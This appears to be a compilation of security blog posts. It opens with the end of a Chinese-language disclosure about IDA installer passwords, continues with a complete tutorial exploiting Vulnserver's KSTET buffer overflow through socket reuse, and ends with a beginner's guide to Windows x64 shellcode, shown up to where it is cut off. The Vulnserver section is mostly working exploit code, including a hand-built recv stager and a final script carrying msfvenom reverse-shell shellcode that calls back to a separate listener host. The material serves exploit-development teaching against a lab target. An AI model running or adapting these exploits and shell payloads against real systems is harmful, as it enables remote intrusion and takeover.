我們真的很喜歡這樣的過程:有根據的大膽猜測,竭盡全力用任何已知資訊去證明我們的想法,不論猜測是對是錯,都能從過程中獲得很多經驗。這也是為什麼我們這次願意花一個月時間去驗證一個成功機率不是很高的假設。附帶一提,這樣的態度,也被運用在我們紅隊演練上,想要試試嗎 :p

寫在最後,要感謝 Hex-Rays 很友善且快速的回應。即使這個問題不包含在 Security Bug Bounty Program 裡面,仍然慷慨的贈送 Linux 和 MAC 版 IDA 及升級原有 Windows 版至 IDA Pro。再次感謝。

時間軸

  • Jan 31, 2019 - 向 Hex-Rays 回報弱點
  • Feb 01, 2019 - Hex-Rays 說明之後會增加安裝密碼的強度,並協助通報 BitRock
  • Feb 11, 2019 - BitRock 釋出了 InstallBuilder 19.2.0

Using Socket Reuse to Exploit Vulnserver

21 June 2019 at 00:00

When creating exploits, sometimes you may run into a scenario where your payload space is significantly limited. There are usually a magnitude of ways that you can work around this, one of those ways, which will be demonstrated in this post, is socket reuse.

What is Socket Reuse?

Before we dive into a practical example, it’s important to cover some basics as to how network based applications work. Although the target audience of this post will most likely know this, let’s go over it for completeness sake!

Below is a small diagram (courtesy of Dartmouth) which illustrates the sequence of function calls that will typically be found in a client-server application:

As you can see, before any connection is made from either the server or client, a socket is first created. A socket can then either be passed to a listen function (indicating that it should listen for new connections and accept them), or passed to a connect function (indicating it should connect to another socket that is listening elsewhere); simple stuff.

Now, as a socket represents a connection to another host, if you have access to it - you can freely call the corresponding send or recv functions to perform network operations. This is the end goal of a socket reuse exploit.

By identifying the location of a socket, it is possible to listen for more data using the recv function and dump it into an area of memory that it can then be executed from - all with only a handful of instructions that should fit into even small payload spaces.

You may be asking - why not just create a new socket? The reason for this, is that a socket is bound to a port - meaning you are not able to create a new socket on a port that is already in use. If you were to create a socket listening on a different port altogether, it would lose reliability given most targets would typically be behind a firewall.

Tools Required to Follow Along

For the demonstration in this post, I’ll be using the 32-bit version of x64dbg running on Windows 10. The same steps will most likely work in most other debuggers too, but x64dbg is my program of choice!

Creating the Initial Exploit

Now that you’re hopefully caught up on how socket programming works, let’s dive in. To demonstrate this concept, we’ll be using the Vulnserver application developed by Stephen Bradshaw which you can grab on GitHub from: https://github.com/stephenbradshaw/vulnserver

Rather than explaining the initial overflow, we’ll start off with the proof of concept below, which will overwrite EIP with \x42\x42\x42\x42. We will then build upon this through this post:

import os
import socket
import sys

host = '10.2.0.129'
port = 9999

buffer =  'KSTET '
buffer += '\x41' * 70
buffer += '\x42' * 4
buffer += '\x43' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

If we load vulnserver.exe up in x64dbg and fire the exploit at it as is, we will be able to see that at the point of crash, the stack pointer [$esp] is pointing to the area that directly follows the EIP overwrite.

Although we sent a total of 500 bytes in this position, this has been heavily truncated to only 20 bytes. This is a big problem, as this won’t suffice for the operations we wish to carry out. However, we do have the full 70 byte \x41 island that precedes the EIP overwrite at our disposal. As long as we can pass execution into the 20 byte island that follows the overwrite, we can do a short jump back into the 70 byte island.

As the $esp register is pointing at the 20 byte island, the first thing we need to do is locate an executable area of memory that contains a jmp esp instruction which is unaffected by ASLR so we can reliably hardcode our exploit to return to this address.

In x64dbg, we can do this by inspecting the Memory Map tab and looking at what DLLs are being used. In this case, we can see there is only one DLL of interest which is essfunc.dll.

If we take note of the base address of this DLL (in this case, 0x62500000), we can then go over to the Log tab and run the command imageinfo 62500000 to retrieve information from the PE header of the DLL and see that the DLL Characteristics flag is set to 0; meaning no protections such as ASLR or DEP are enabled.

Now that we know we can reliably hardcode addresses found in this DLL, we need to find a jump that we can use. To do this, we need to go back to the Memory Map tab and double click the only memory section marked as executable (noted by the E flag under the Protection column).

In this case, we are double clicking on the .text section, which will then lead us back to the CPU tab. Once here, we can search for an instruction by either using the CTRL+F keyboard shortcut, or right clicking and selecting Search for > Current Region > Command. In the window that appears, we can now enter the expression we want to search for, in this case JMP ESP:

After hitting OK on the previous dialog, we will now see several instances of jmp esp that have been identified in the .text section of essfunc.dll. For this example, we will take the address of the first one (0x625011AF).

Now that we have an address of a jmp esp instruction that will take us to the 20 byte island after the EIP overwrite, we can replace \x42\x42\x42\x42 in our exploit with said address (keep in mind, this needs to be in reverse order due to the use of little endian).

Our code will now look like this:

import os
import socket
import sys

host = '10.2.0.129'
port = 9999

buffer =  'KSTET '
buffer += '\x41' * 70
buffer += '\xaf\x11\x50\x62'
buffer += '\x43' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

Before running the exploit again, a breakpoint should be placed at 0x625011af (i.e. our jmp esp instruction). To do this, jump to the offset by either double clicking the result in the References tab, or use the CTRL+G shortcut to open the expression window and enter 0x625011af.

Once here, toggle the breakpoint using the context menu or by pressing F2 with the relevant instruction highlighted.

If we now run the exploit again, we will hit the breakpoint and after stepping into the call, we will be taken to our 20 byte island of 0x43.

Now that we can control execution, we need to jump back to the start of the 70 byte island as mentioned earlier. To do this, we can use a short jump to go backwards. Rather than calculating the exact offset manually, x64dbg can do the heavy lifting for us here!

If we scroll up the CPU tab to find the start of the 70 byte island containing the \x41 bytes, we can see there is a 0x41 at 0x0110f980 and also two which directly precede that.

Note: This address will be different for you, make sure to follow along and use the address that is appropriate for you

We cannot copy the address of the first 2 bytes, but we can instead subtract 2 bytes from 0x0110f980 to get the address 0x0110f97e. Now, if we go back to where $esp is pointing and double click the instruction there (specifically the inc ebx text), or press the space bar whilst the instruction is highlighted, we will enter the Assemble screen.

In here, we can enter jmp 0x0110f97e, hit OK and it will automatically calculate the distance and create a short jump for us; in this case, EB B4.

We can verify this by either following the arrow on the left side of the instructions, or by highlighting the edited instruction again and clicking the G key to generate the graph view. If correct, the jmp should go to the start of the \x41 island.

We can now update the exploit to include this instruction before the \x43 island that was previously in place and replace the remaining bytes in both the 70 byte and 20 byte islands with NOP sleds so that we can work with them a bit easier later when we are assembling our exploit in the debugger.

After making these changes, the exploit should look like this:

import os
import socket
import sys

host = '10.2.0.129'
port = 9999

buffer =  'KSTET '
buffer += '\x90' * 70
buffer += '\xaf\x11\x50\x62'    # jmp esp
buffer += '\xeb\xb4'            # jmp 0x0110f97e
buffer += '\x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

s.close()

If we execute the exploit again, we will now find ourselves in the 70 byte NOP sled that precedes the initial EIP overwrite:

Analysis & Socket Hunting

Now that the run of the mill stuff is finally done with, we can get to the more interesting part!

It should be noted, at this point I rebooted the VM that I was working in, which resulted in the base address changing from what is seen in the previous screenshots. Although this doesn’t affect the exploit as we are not using any absolute addresses outside of essfunc.dll, I am pointing it out to save any confusion should anyone notice it!

The first thing we need to do before we can start putting together any code is to figure out where we can find the socket that the data our exploit is sending is being received on. If you recall from the earlier section of this post, the function calls follow the pattern of socket() > listen() > accept() > recv() if a server is accepting incoming connections and then receiving data from the client.

With this in mind, we should restart the application and let it pause at the entry point (the second breakpoint that is automatically added) and begin to search for these system calls. As the Vulnserver application is quite simple, we don’t have to search very far. By scrolling down through the instructions we can find the point at which the welcome message is sent to the client (which is sent after the client connects) and the subsequent call to recv that precedes the processing of the command sent by the end user:

If we now place a breakpoint on the call <JMP.&recv> instruction and resume execution, we will be able to inspect the arguments that are being passed to the function on the stack.

Without any context, these values will make no sense. Thankfully, detailed documentation of these functions is provided by Microsoft. In this case, we can find the documentation of the recv function at https://docs.microsoft.com/en-us/windows/desktop/api/winsock/nf-winsock-recv.

As can be seen in the documentation, the signature of the recv function is:

int recv(
  SOCKET s,
  char   *buf,
  int    len,
  int    flags
);

This now allows us to make sense of the arguments that we can see sat on the stack.

  • The first argument (on the top of the stack) is the socket file descriptor; in this, case the value 0x128.
  • The second argument is the buffer, i.e. a pointer to the area of memory that the data received via the socket will be stored. In this case, it will store the received data at 0x006a3408
  • The third argument is the amount of data to expect. This has been set at 0x1000 bytes (4096 bytes)
  • The final argument is the flags that influence the behaviour of the function. As the default behaviour is being used, this is set to 0

If we now step over the call to recv, and then jump to 0x006a3408 in the dump tab, we will see the full payload that was sent by the exploit:

With an understanding of the function call now in hand, we need to figure out how we can find that socket descriptor once more to use in our own call to recv. As this value can change every time a new connection is made, it cannot be hard coded (that would be too easy!).

Before moving on, be sure to double click the call instruction and make note of the address that recv is found at; we will need this later. In this case, it can be found at 0x0040252C:

If we now allow the program to execute until we reach our NOP sled once more, we will run into a problem. When we look at where the file descriptor was initially on the stack when the program called recv (i.e. 0x0107f9c8), it is no longer there - our overflow has overwritten it!

Although our buffer reaches just far enough to overwrite the arguments that are passed to recv, the file descriptor will still exist somewhere in memory. If we restart the program and pause at the call to recv again, we can start to analyse how it finds the file descriptor in a bit more depth.

As the socket is the first argument passed to recv / the last argument to be pushed on to the stack, we need to find the last operation to place something on the stack before the call to recv. Conveniently, this appears directly above the call instruction and is a mov that moves the value stored in $eax to the address pointed to by $esp (i.e. the top of the stack).

Directly above that instruction, is a mov which moves the value in $ebp-420 into $eax (i.e. 0x420 [blazeit] bytes below the frame pointer). At this point in time, $ebp-420 is 0x011DFB50.

If we now allow execution to continue until we hit the breakpoint at our NOP sled and then follow this address through in either the dump tab or stack view, we can see that the value is still there.

Note: the socket file descriptor is now 120, rather than 128, this can and will change; hence why we need to dynamically retrieve it

As the address that the socket is stored in can [and will] change, we need to calculate the distance to the current address from $esp. By doing this, we will not have to hard code any addresses, and can instead calculate dynamically the address that the socket is stored in.

To do this, we just take the current address of the socket (0x011DFB50) and subtract the address that $esp is pointing at (0x011DF9C8), which leaves us with a value of 0x188, meaning the socket can be found at $esp+0x188.

Writing the Socket Stager

Now we have all the information we need to actually get to writing the stager! The first thing we should do, whilst it is fresh in mind, is grab a copy of the socket we found and store it in a register so we have quick access to it.

To construct the stager, we will write the instructions in place in the 70 byte NOP sled within x64dbg. Whilst doing this, we will need to jump through some small hoops to avoid instructions that would introduce null bytes.

First, we need to push $esp on to the stack and pop it back into a register - this will give us a pointer to the top of the stack that we can safely manipulate. To do this, we will add the instructions:

push  esp
pop   eax

Next, we need to increase the $eax register by 0x188 bytes. As adding this value directly to the $eax register would introduce several null bytes, we instead need to add 0x188 to the $ax register (if this doesn’t make sense, lookup how the registers can be broken up into smaller registers).

add   ax, 0x188

Note: when entering the commands interactively, it is important to enter values as illustrated above. If you were to enter the command add ax, 188, it would assume you’re entering a decimal value and automatically convert it to hex. Prefixing with 0x will ensure it is handled as a hexadecimal value.

We identified in the previous section that the socket was found to be 0x188 bytes away from $esp. As $eax is pointing to the same address as $esp, if we add 0x188 to it, we will then have a valid pointer to the address that is storing the socket!

If we now step through this, we will see that $eax now has a pointer to the socket (120) found at 0x011DFB50.

Next, before we start to push anything onto the stack, we need to make a slight adjustment to the stack pointer. As you are probably aware, the stack pointer starts at a higher address and grows into a lower address space. As the stager we are currently running from our overflow is so close to $esp, if we start to push data on to the stack, we are most likely going to cause it to overwrite the stager at runtime and cause a crash.

The solution to this is simple - we just decrease the stack pointer so that it is pointing to an address that appears at a lower address than our payload! A clearance of 100 bytes (0x64) is more than enough in this case, so we set the next instruction to:

sub esp, 0x64

After stepping into this instruction, we will see in the stack pane that $esp is pointing to an address that precedes the stager we are currently editing (the highlighted bytes in red):

Now that the stack pointer is adjusted, we can begin to push all our data. First, we need to push 0 onto the stack to set the flags argument. As we can’t hard code a null byte, we can instead XOR a register with itself to make it equal 0 and then push that register onto the stack:

xor   ebx, ebx
push  ebx

The next argument is the buffer size - 1024 bytes (0x400) should be enough for most payloads. Once again, we have a problem with null bytes, so rather than pushing this value directly onto the stack, we need to first clear out a register and then use the add instruction to construct the value we want.

As the ebx register is already set to 0 as a result of the previous operation, we can add 0x4 to the $bh register to make the ebx register equal 0x00000400 (again, if this doesn’t make sense, look up how registers can be split into smaller registers):

add   bh, 0x4
push  ebx

Next, is the address where we should store the data received from the exploit. There are two ways we can do this:

  1. Calculate an address, push it on to the stack and then retrieve it after recv returns and jmp to that address
  2. Tell recv to just dump the received data directly ahead of where we are currently executing, allowing for execution to drop straight into it

The second option is definitely the easiest and most space efficient route. To do this, we need to determine how far away $esp is from the end of the stager. By looking at the current stack pointer (0x011df95c) and the address of the last 4 bytes of the stager (0x011df9c0), we can determine that we are 100 bytes (0x64) away. We can verify this by entering the expression esp+0x64 in the dump tab and verifying that we are taken to the final 4 NOPs:

With the correct calculation in hand, we will once again push $esp on to the stack and pop it back out into a register and then make the appropriate adjustment using the add instruction, before pushing it back on to the stack:

push  esp
pop   ebx
add   ebx, 0x64
push  ebx

Finally, we have one last operation to complete our argument list on the stack, and that is to push the socket that we stored in $eax earlier on. As the recv function expects a value rather than a pointer, we need to dereference the pointer in $eax so that we store the value (120) that is in the address that $eax points to; rather than the address itself.

push  dword ptr ds:[eax]

If we step into this final instruction, we will now see that all our arguments are in order on the stack:

We are now at the final step - we just need to call recv. Of course, nothing is ever simple, we have another issue. The address of the recv function that we noted earlier starts with yet another null byte. As this null byte is found at the start of the address rather than in the middle, we can thankfully work around this easily with one of the shifting instructions.

Rather than pushing the original value of 0x0040252C, we will instead store 0x40252c90 in $eax (note that we have shifted everything 1 byte to the left and added 90 to the end). We will then use the shr instruction to shift the value to the right by 8 bits, which will result in the last byte (90) being removed, and a new null byte appearing before 40, leaving us with the original value of 0x0040252C in $eax, which we can then call with call eax

mov   eax, 0x40252C90
shr   eax, 8
call  eax

If we now continue execution and pause at the call instruction, we can see that $eax is pointing at recv:

And with that - our stager is complete! You can now grab a copy of the hex values to be added into the exploit by highlighting the newly added instructions and doing a binary copy from the context menu.

Finalising the Exploit

Now that we have the final stager shell code complete, we can place it at the start of the 70 byte NOP sled in our exploit. When doing this, we need to be sure that the island still remains at a total of 70 bytes, as to not break the overflow and to ensure that we have NOPs that will lead to the final payload.

Additionally, we will make the exploit wait a few seconds before it sends the final payload, to ensure that our stager has executed. Although any data we send should still be read even if it is sent before the stager calls recv as a result of buffering, my personal preference is to add the sleep in to be 100% sure - feel free to experiment with this if you’d rather not include it.

The exploit should now look like this:

import os
import socket
import sys
import time

host = '10.2.0.129'
port = 9999

stager =  '\x54\x58\x66\x05\x88\x01\x83\xec'
stager += '\x64\x33\xdb\x53\x80\xc7\x04\x53'
stager += '\x54\x5b\x83\xc3\x64\x53\xff\x30'
stager += '\xb8\x90\x2c\x25\x40\xc1\xe8\x08'
stager += '\xff\xd0'

buffer =  'KSTET '
buffer += stager
buffer += '\x90' * (70 - len(stager)) # nop sled to final payload
buffer += '\xaf\x11\x50\x62'          # jmp esp
buffer += '\xeb\xb4'                  # jmp 0x0110f97e
buffer += '\x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.recv(1024)
s.send(buffer)

time.sleep(5)
s.send('\x41' * 1024)

For illustration purposes, I have opted to send a 1024 byte payload of \x41, so that we can easily verify that it works as intended when debugging. If we restart vulnserver.exe once more and step over the recv call in the stager code, we can see that the 1024 bytes of 0x41 are received and are placed at the end of our NOP sled - which will be subsequently executed:

Adding a Payload

With the exploit now finished, we can replace the 1024 bytes of 0x41 with an actual payload generated using msfvenom and give it a test run!

Below is the final exploit using the windows/shell_reverse_tcp payload from msfvenom:

import os
import socket
import sys
import time

host = '10.2.0.129'
port = 9999

# Payload generated with: msfvenom -p windows/shell_reverse_tcp LHOST=10.2.0.130 LPORT=4444 -f python -v payload
payload =  ""
payload += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
payload += "\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
payload += "\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
payload += "\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
payload += "\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
payload += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
payload += "\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
payload += "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
payload += "\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
payload += "\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
payload += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
payload += "\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
payload += "\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
payload += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
payload += "\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
payload += "\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x02"
payload += "\x00\x82\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
payload += "\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
payload += "\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
payload += "\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
payload += "\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
payload += "\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
payload += "\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
payload += "\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
payload += "\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
payload += "\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
payload += "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

stager =  '\x54\x58\x66\x05\x88\x01\x83\xec'
stager += '\x64\x33\xdb\x53\x80\xc7\x04\x53'
stager += '\x54\x5b\x83\xc3\x64\x53\xff\x30'
stager += '\xb8\x90\x2c\x25\x40\xc1\xe8\x08'
stager += '\xff\xd0'

buffer =  'KSTET '
buffer += stager
buffer += '\x90' * (70 - len(stager)) # nop sled to final payload
buffer += '\xaf\x11\x50\x62'          # jmp esp
buffer += '\xeb\xb4'                  # jmp 0x0110f97e
buffer += '\x90' * 500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print '[*] Connected to target'

s.recv(1024)
s.send(buffer)

print '[*] Sent stager, waiting 5 seconds...'

time.sleep(5)

s.send(payload + '\x90' * (1024 - len(payload)))

print '[*] Sent payload'

s.close()

Writing shellcodes for Windows x64

30 June 2019 at 16:01

Long time ago I wrote three detailed blog posts about how to write shellcodes for Windows (x86 – 32 bits). The articles are beginner friendly and contain a lot of details. First part explains what is a shellcode and which are its limitations, second part explains PEB (Process Environment Block), PE (Portable Executable) file format and the basics of ASM (Assembler) and the third part shows how a Windows shellcode can be actually implemented.

This blog post is the port of the previous articles on Windows 64 bits (x64) and it will not cover all the details explained in the previous blog posts, so who is not familiar with all the concepts of shellcode development on Windows must see them before going further.

Of course, the differences between x86 and x64 shellcode development on Windows, including ASM, will be covered here. However, since I already write some details about Windows 64 bits on the Stack Based Buffer Overflows on x64 (Windows) blog post, I will just copy and paste them here.

As in the previous blog posts, we will create a simple shellcode that swaps the mouse buttons using SwapMouseButton function exported by user32.dll and grecefully close the proccess using ExitProcess function exported by kernel32.dll.

ASM for x64

There are multiple differences in Assembly that need to be understood in order to proceed. Here we will talk about the most important changes between x86 and x64 related to what we are going to do.

Please note that this article is for educational purposes only. It has to be simple, meaning that, of course, there are a lot of optimizations that can be done for the resulted shellcode to be smaller and faster.

First of all, the registers are now the following:

  • The general purpose registers are the following: RAX, RBX, RCX, RDX, RSI, RDI, RBP and RSP. They are now 64 bit (8 bytes) instead of 32 bits (4 bytes).
  • The EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP represent the last 4 bytes of the previously mentioned registers. They hold 32 bits of data.
  • There are a few new registers: R8, R9, R10, R11, R12, R13, R14, R15, also holding 64 bits.
  • It is possible to use R8d, R9d etc. in order to access the last 4 bytes, as you can do it with EAX, EBX etc.
  • Pushing and poping data on the stack will use 64 bits instead of 32 bits

Calling convention

Another important difference is the way functions are called, the calling convention.

Here are the most important things we need to know:

  • First 4 parameters are not placed on the stack. First 4 parameters are specified in the RCX, RDX, R8 and R9 registers.
  • If there are more than 4 parameters, the other parameters are placed on the stack, from left to right.
  • Similar to x86, the return value will be available in the RAX register.
  • The function caller will allocate stack space for the arguments used in registers (called “shadow space” or “home space”). Even if when a function is called the parameters are placed in registers, if the called function needs to modify the registers, it will need some space to store them, and this space will be the stack. The function caller will have to allocate this space before the function call and to deallocate it after the function call. The function caller should allocate at least 32 bytes (for the 4 registers), even if they are not all used.
  • The stack has to be 16 bytes aligned before any call instruction. Some functions might allocate 40 (0x28) bytes on the stack (32 bytes for the 4 registers and 8 bytes to align the stack from previous usage – the return RIP address pushed on the stack) for this purpose. You can find more details here.
  • Some registers are volatile and other are nonvolatile. This means that if we set some values into a register and call some function (e.g. Windows API) the volatile register will probably change while nonvolatile register will preserve their values.

More details about calling convention on Windows can be found here.

Function calling example

Let’s take a simple example in order to understand those things. Below is a function that does a simple addition, and it is called from main.

#include "stdafx.h"

int Add(long x, int y)
{
    int z = x + y;
    return z;
}

int main()
{
    Add(3, 4);
    return 0;
}

Here is a possible output, after removing all optimizations and security features.

Main function:

sub rsp,28
mov edx,4
mov ecx,3
call <consolex64.Add>
xor eax,eax
add rsp,28
ret

We can see the following:

  1. sub rsp,28 – This will allocate 0x28 (40) bytes on the stack, as we discussed: 32 bytes for the register arguments and 8 bytes for alignment.
  2. mov edx,4 – This will place in EDX register the second parameter. Since the number is small, there is no need to use RDX, the result is the same.
  3. mov ecx,3 – The value of the first argument is place in ECX register.
  4. call <consolex64.Add> – Call the “Add” function.
  5. xor eax,eax – Set EAX (or RAX) to 0, as it will be the return value of main.
  6. add rsp,28 – Clears the allocated stack space.
  7. ret – Return from main.

Add function:

mov dword ptr ss:[rsp+10],edx
mov dword ptr ss:[rsp+8],ecx
sub rsp,18
mov eax,dword ptr ss:[rsp+28]
mov ecx,dword ptr ss:[rsp+20]
add ecx,eax
mov eax,ecx
mov dword ptr ss:[rsp],eax
mov eax,dword ptr ss:[rsp]
add rsp,18
ret

Let’s see how this function works:

  1. mov dword ptr ss:[rsp+10],edx – As we know, the arguments are passed in ECX and EDX registers. But what if the function needs to use those registers (however, please note that some registers must be preserved by a function call, these registers are the following: RBX, RBP, RDI, RSI, R12, R13, R14 and R15)? In this case, the function will use the “shadow space” (“home space”) allocated by the function caller. With this instruction, the function saves on the shadow space the second argument (the value 4), from EDX register.
  2. mov dword ptr ss:[rsp+8],ecx – Similar to the previous instruction, this one will save on the stack the first argument (value 3) from the ECX register
  3. sub rsp,18 – Allocate 0x18 (or 24) bytes on the stack. This function does not call other function, so it is not needed to allocate at least 32 bytes. Also, since it does not call other functions, it is not required to align the stack to 16 bytes. I am not sure why it allocates 24 bytes, it looks like the “local variables area” on the stack has to be aligned to 16 bytes and the other 8 bytes might be used for the stack alignment (as previously mentioned).
  4. mov eax,dword ptr ss:[rsp+28] – Will place in EAX register the value of the second parameter (value 4).
  5. mov ecx,dword ptr ss:[rsp+20] – Will place in ECX register the value of the first parameter (value 3).
  6. add ecx,eax – Will add to ECX the value of the EAX register, so ECX will become 7.
  7. mov eax,ecx – Will save the same value (the sum) into EAX register.
  8. mov dword ptr ss:[rsp],eax and mov eax,dword ptr ss:[rsp] look like they are some effects of the removed optimizations, they don’t do anything useful.
  9. add rsp,18 – Cleanup the allocated stack space.
  10. ret – Return from the function

Writing ASM on Windows x64

There are multiple ways to write assembler on Windows x64. I will use NASM and the linker provided by Microsoft Visual Studio Community.

I will use the x64.asm file to write the assembler code, the NASM will output x64.obj and the linker will create x64.exe. To keep this process simple, I created a simple Windows Batch script:

del x64.obj
del x64.exe
nasm -f win64 x64.asm -o x64.obj
link /ENTRY:main /MACHINE:X64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE x64.obj

You can run it using “x64 Native Tools Command Prompt for VS 2019” where “link” is available directly. Just not forget to add NASM binaries directory to the PATH environment variable.

To test the shellcode I open the resulted binary in x64bdg and go through the code step by step. This way, we can be sure everything is OK.

Before starting with the actual shellcode, we can start with the following:

BITS 64
SECTION .text
global main
main:

sub   RSP, 0x28                 ; 40 bytes of shadow space
and   RSP, 0FFFFFFFFFFFFFFF0h   ; Align the stack to a multiple of 16 bytes

This will specify a 64 bit code, with a “main” function in the “.text” (code) section. The code will also allocate some stack space and align the stack to a multiple of 16 bytes.

Find kernel32.dll base address

As we know, the first step in the shellcode development process for Windows is to find the base address of kernel32.dll, the memory address where it is loaded. This will help us to find its useful exported functions: GetProcAddress and LoadLibraryA which we can use to achive our goals.

We will start finding the TEB (Thread Environment Block), the structure that contains thread information in usermode and we can find it using GS register, ar gs:[0x00]. This structure also contains a pointer to the PEB (Process Envrionment Block) at offset 0x60.

The PEB contains the “Loader” (Ldr) at offset 0x18 which contains the “InMemoryOrder” list of modules at offset 0x20. As we did for x86, first module will be the executable, the second one ntdll.dll and the third one kernel32.dll which we want to find. This means we will go through a linked list (LIST_ENTRY structure which contains to LIST_ENTRY* pointers, Flink and Blink, 8 bytes each on x64).

After we find the third module, kernel32.dll, we just need to go to offset 0x20 to get its base address and we can start doing our stuff.

Below is how we can get the base address of kernel32.dll using PEB and store it in the RBX register:

; Parse PEB and find kernel32

xor rcx, rcx             ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18]    ; RAX = PEB->Ldr
mov rsi, [rax + 0x20]    ; RSI = PEB->Ldr.InMemOrder
lodsq                    ; RAX = Second module
xchg rax, rsi            ; RAX = RSI, RSI = RAX
lodsq                    ; RAX = Third(kernel32)
mov rbx, [rax + 0x20]    ; RBX = Base address

Find the address of GetProcAddress function

It is really similar to find the address of GetProcAddress function, the only difference would be the offset of export table which is 0x88 instead of 0x78.

The steps are the same:

  1. Go to the PE header (offset 0x3c)
  2. Go to Export table (offset 0x88)
  3. Go to the names table (offset 0x20)
  4. Get the function name
  5. Check if it starts with “GetProcA”
  6. Go to the ordinals table (offset 0x24)
  7. Get function number
  8. Go to the address table (offset 0x1c)
  9. Get the function address

Below is the code that can help us find the address of GetProcAddress:

; Parse kernel32 PE

xor r8, r8                 ; Clear r8
mov r8d, [rbx + 0x3c]      ; R8D = DOS->e_lfanew offset
mov rdx, r8                ; RDX = DOS->e_lfanew
add rdx, rbx               ; RDX = PE Header
mov r8d, [rdx + 0x88]      ; R8D = Offset export table
add r8, rbx                ; R8 = Export table
xor rsi, rsi               ; Clear RSI
mov esi, [r8 + 0x20]       ; RSI = Offset namestable
add rsi, rbx               ; RSI = Names table
xor rcx, rcx               ; RCX = 0
mov r9, 0x41636f7250746547 ; GetProcA

; Loop through exported functions and find GetProcAddress

Get_Function:

inc rcx                    ; Increment the ordinal
xor rax, rax               ; RAX = 0
mov eax, [rsi + rcx * 4]   ; Get name offset
add rax, rbx               ; Get function name
cmp QWORD [rax], r9        ; GetProcA ?
jnz Get_Function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x24]       ; ESI = Offset ordinals
add rsi, rbx               ; RSI = Ordinals table
mov cx, [rsi + rcx * 2]    ; Number of function
xor rsi, rsi               ; RSI = 0
mov esi, [r8 + 0x1c]       ; Offset address table
add rsi, rbx               ; ESI = Address table
xor rdx, rdx               ; RDX = 0
mov edx, [rsi + rcx * 4]   ; EDX = Pointer(offset)
add rdx, rbx               ; RDX = GetProcAddress
mov rdi, rdx               ; Save GetProcAddress in RDI

Please note that this has to be done carefully. Some structures from the PE file are not 8 bytes, while we need in the end 8 bytes pointers. This is why in the code above there are registers such as ESI or CX used.

Find the address of LoadLibraryA

Since we have the address of GetProcAddress and the base address of kernel32.dll, we can use them to call GetProcAddress(kernel32.dll, “LoadLibraryA”) and find the address of LoadLibraryA function.

However, it is something important we need to be careful about: we will use the stack to place our strings (e.g. “LoadLibraryA”) and this might break the stack alignment, so we need to make sure it is 16 bytes alligned. Also, we must not forget about the stack space that we need to allocate for a function call, because the function we call might use it. So, we need to place our string on the stack and just after this to allocate space for the function we call (e.g. GetProcAddress).

Finding the address of LoadLibraryA is pretty straightforward:

; Use GetProcAddress to find the address of LoadLibrary

mov rcx, 0x41797261          ; aryA
push rcx                     ; Push on the stack
mov rcx, 0x7262694c64616f4c  ; LoadLibr
push rcx                     ; Push on stack
mov rdx, rsp                 ; LoadLibraryA
mov rcx, rbx                 ; kernel32.dll base address
sub rsp, 0x30                ; Allocate stack space for function call
call rdi                     ; Call GetProcAddress
add rsp, 0x30                ; Cleanup allocated stack space
add rsp, 0x10                ; Clean space for LoadLibrary string
mov rsi, rax                 ; LoadLibrary saved in RSI

We put the “LoadLibraryA” string on the stack, setup RCX and RDX registers, allocate space on the stack for the function call, call GetProcAddress and cleanup the stack. As a result, we will store the LoadLibraryA address in the RSI register.

Load user32.dll using LoadLibraryA

Since we have the address of LoadLibraryA function, it is pretty simple to call LoadLibraryA(“user32.dll”) to load user32.dll and find out its base address which will be returned by LoadLibraryA.

mov rcx, 0x6c6c               ; ll
push rcx                      ; Push on the stack
mov rcx, 0x642e323372657375   ; user32.d
push rcx                      ; Push on stack
mov rcx, rsp                  ; user32.dll
sub rsp, 0x30                 ; Allocate stack space for function call
call rsi                      ; Call LoadLibraryA
add rsp, 0x30                 ; Cleanup allocated stack space
